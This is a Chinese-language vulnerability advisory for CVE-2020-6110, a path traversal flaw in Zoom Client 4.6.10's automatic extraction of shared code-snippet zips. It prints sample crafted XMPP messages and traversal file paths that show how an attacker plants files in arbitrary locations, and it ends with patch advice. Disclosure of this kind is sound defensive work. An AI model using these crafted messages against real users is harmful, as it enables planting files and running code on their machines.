CVE-2020-6110 | ZOOM客户端远程代码执行漏洞通告

发布时间 2020-06-05

0x00 漏洞概述



CVE   ID

CVE-2020-6110

   

2020-06-04

   

RCE

   

高危

远程利用

影响范围

Zoom Client 4.6.104.6.11


0x01 漏洞详情




Zoom Client是美国Zoom公司的一款支持多种平台的视频会议客户端应用程序。


CVE-2020-6110是Zoom Client版本4.6.10处理包括共享代码段在内的消息的方式中存在一个可利用的路径遍历漏洞。特制的聊天消息可能会导致植入任意二进制文件,可能会滥用该二进制文件来实现任意代码执行。攻击者需要向目标用户或组发送特制消息,需要目标用户的交互才能触发此漏洞。


本质上,此部分代码是通过生成一个特殊的zip归档文件来共享的,该归档文件包含几个支持文件(用于纯文本的无标题代码):


Untitled.html

Untitled.properties

Untitled.rtf

Untitled.tx*


最后一个包含源本身,富文本文件提供语法高亮显示,而属性文件描述程序包。


当一个用户与另一个用户共享一个代码片段时,便会创建该zip文件,并通过/zoomfile/upload向的请求将其上传到Zoom的存储服务器file.zoom.us。同时Zoom客户端获取文件对象ID,然后将XMPP消息发送给收件人。XMPP消息看起来像:


<message from="source_xmpp_username@xmpp.zoom.us/ZoomChat_pc" to="destination_xmpp_username@xmpp.zoom.us" id="{170029-35B3-4748-9CB0-42E42FF20DE5}" type="chat">

   <thread>gloox{THREADID}</thread>

   <active xmlns="http://jabber.org/protocol/chatstates"/>

   <sns>

       <format>%1$@ sent you a code snippet</format>

       <args>

           <arg>S E</arg>

       </args>

   </sns>

   <zmext expire_t="1650165620000" t="1587093620200">

   <obj k="key" id="__object_id" s="166" nm="Untitled1.zip" f="14" st="0"/>

   <from n="S E" e="emailaddress" res="ZoomChat_pc"/>

   <to/>

   <visible>true</visible>

   <msg_feature>1024</msg_feature>

   </zmext>

   <body>S E has sent you a code snippet</body>

</message>


对象ID属性唯一地标识包含已删除描述的文件。当XMPP客户端收到上述消息时,它将继续从Zoom的数据存储中提取指定的文件,并将其以唯一的文件名保存到磁盘。在Windows客户端上,这些文件存储在中%APPDATA%\Roaming\Zoom\data\xmpp_user\CodeSnippet\<random uid dir>。通过Zoom定期共享文件的情况也是如此。但是,在共享代码段的情况下,Zoom将继续自动解压缩下载的zip文件,以预览和显示该代码段。此漏洞的核心是Zoom的zip文件提取功能在提取zip文件之前不会对其进行验证。


这使潜在的攻击者无需用户干预即可通过自动提取的zip文件将任意二进制文件植入目标计算机上。此外路径遍历问题使特制的zip文件可以在预期的随机生成目录之外写入文件。例如,实际上将zip压缩文件中的文件路径为“ .. \ test \ another \ test.exe”的文件提取到文件中,%APPDATA%\Roaming\Zoom\data\xmpp_user\CodeSnippet\test\another\text.exe而不是包含在具有随机UID的目录中。本身就可能在利用另一个漏洞时被滥用。


此外,有关Zoom处理共享文件的方式的一个怪癖使此漏洞可通过目标用户进行进一步处理。与Zoom客户端共享常规文件后,他们需要在访问文件之前单击文件并选择保存位置。由于Zoom客户端会跟踪下载的文件,因此将此事实与上述问题结合在一起可能导致任意文件写入任意路径。在这种情况下,攻击者首先会与目标用户共享一个恶意的zip文件,并带有文件名,例如“ interesting_image.jpeg”。目标可能会单击该文件并将其保存在某个位置(例如,在其桌面上)。用户将无法直接以zip或jpeg格式打开文件。另一方面,Zoom客户端会跟踪此文件并保存在指定路径中。然后,攻击者将代码片段共享消息发送给目标,但在目标服务器中指定相同的文件ID和详细信息。obj标签。Zoom Client应用程序将看到该文件已经下载,并且将不考虑.jpeg扩展名将其解压缩。通过滥用目录遍历漏洞,恶意的zip文件可以将文件提取到c\Users\<username>\任何子目录中。


在这种情况下,攻击者将一个文件上传到file.zoom.us名为的服务器interesting_image.jpeg。然后,攻击者发送如下消息:


<message from="source_xmpp_username@xmpp.zoom.us/ZoomChat_pc" to="destination_xmpp_username@xmpp.zoom.us" id="{170029-35B3-4748-9CB0-42E42FF20DE5}" type="chat">

   <thread>gloox{THREADID}</thread>

   <active xmlns="http://jabber.org/protocol/chatstates"/>

   <sns>

       <format>%1$@ sent you a file</format>

       <args>

           <arg>S E</arg>

       </args>

   </sns>

   <zmext expire_t="1650165620000" t="1587093620200">

   <obj k="key" id="__object_id_of_interesting_image.jpeg" s="166" nm="interesting_image.jpeg" f="5" st="0"/>

   <from n="S E" e="emailaddress" res="ZoomChat_pc"/>

   <to/>

   <visible>true</visible>

   <msg_feature>8</msg_feature>

   </zmext>

   <body>S E has sent you a code snippet</body>

</message>


客户端保存文件,然后攻击者发送另一条内容几乎相同的消息:


<message from="source_xmpp_username@xmpp.zoom.us/ZoomChat_pc" to="destination_xmpp_username@xmpp.zoom.us" id="{170029-35B3-4748-9CB0-42E42FF20DE5}" type="chat">

   <thread>gloox{THREADID}</thread>

   <active xmlns="http://jabber.org/protocol/chatstates"/>

   <sns>

       <format>%1$@ sent you a file</format>

       <args>

           <arg>S E</arg>

       </args>

   </sns>

   <zmext expire_t="1650165620000" t="1587093620200">

   <obj k="key" id="__object_id_of_interesting_image.jpeg" s="166" nm="interesting_image.jpeg" f="14" st="0"/>

   <from n="S E" e="emailaddress" res="ZoomChat_pc"/>

   <to/>

   <visible>true</visible>

   <msg_feature>1024</msg_feature>

   </zmext>

   <body>S E has sent you a code snippet</body>

</message>  


以上消息中的更改位于tag的f属性中obj。它指定14指示代码段功能。同样将msg_feature调整为1024与共享代码段相同。obj标记内的文件ID和名称保持不变,导致Zoom客户端不会将文件重新下载到“ CodeSnippets”目录中,而是使用先前保存的路径。


需要注意的是,即使目标用户在意识到虚假的情况下删除了已保存的文件,Zoom客户端也会重新下载该文件,但在收到最终消息时仍会遵循原始的保存路径。同样恶意zip文件可以包含带有目录遍历路径的恶意文件的多个副本,这些目录可以用于容纳目标用户可能保存文件的任意位置。


总之,可以在上述两种情况下滥用此漏洞。首先,如果没有用户交互,就可以滥用它,即使在可能利用其他漏洞的受限路径上,在目标系统上植入任意二进制文件。其次,通过用户交互,将二进制文件植入几乎任意路径,并有可能覆盖重要文件并导致任意代码执行。


0x02 处置建议


目前厂商已发布4.6.12版本以修复漏洞,下载地址:

https://zoom.us/


0x03 相关新闻


https://securityaffairs.co/wordpress/104249/hacking/zoom-security-flaws.html


0x04 参考链接


https://talosintelligence.com/vulnerability_reports/TALOS-2020-1056


0x05 时间线


2020-04-16 研究人员披露

2020-06-04 VSRC发布漏洞通告